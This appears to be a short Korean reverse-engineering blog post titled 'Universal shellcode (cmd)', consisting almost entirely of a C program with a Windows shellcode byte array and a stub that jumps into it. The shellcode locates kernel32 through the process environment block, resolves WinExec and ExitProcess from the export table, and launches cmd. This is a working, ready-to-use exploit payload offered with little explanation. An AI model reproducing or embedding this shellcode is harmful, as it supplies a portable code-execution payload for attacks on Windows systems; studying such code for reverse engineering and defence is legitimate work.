리버싱/정리

Universal 쉘코드(cmd)

1q 2016. 10. 31. 18:57
#include <Windows.h>

char shellcode[] =	"\xEB\x30\x42\xAD\x60\x03\xD8\x8B\xF3\x33\xC0\x33\xFF\xAC\x03"
					"\xF8\x84\xC0\x75\xF9\x89\x7D\x10\x61\x39\x7D\x10\x75\xE5\x0F"
					"\xB7\x54\x51\xFE\x8B\x7D\x18\x8B\x77\x1C\x8B\xFB\x03\xF7\x03"
					"\x3C\x96\x8B\xC7\xC3\x33\xC0\x89\x45\x0C\xC6\x45\x0C\x63\xC6"
					"\x45\x0D\x6D\xC6\x45\x0E\x64\x64\x8B\x40\x30\x8B\x40\x0C\x8B"
					"\x40\x14\x8B\x18\x8B\x1B\x8B\x5B\x10\x8B\x7B\x3C\x03\xFB\x8B"
					"\x7F\x78\x03\xFB\x89\x7D\x18\x8B\x77\x20\x03\xF3\x8B\x4F\x24"
					"\x03\xCB\x33\xD2\x60\x33\xFF\x66\xBF\xB3\x02\xE8\x89\xFF\xFF"
					"\xFF\x89\x45\x20\x61\x33\xFF\x66\x81\xC7\x79\x04\xE8\x79\xFF"
					"\xFF\xFF\x89\x45\x24\x33\xC0\x50\x8D\x45\x0C\x50\xFF\x55\x20"
					"\x33\xC0\x50\xFF\x55\x24";

int main(int argc, char* argv[])
{
	int* shell = (int*)shellcode;
	__asm{
		jmp shell
	};
}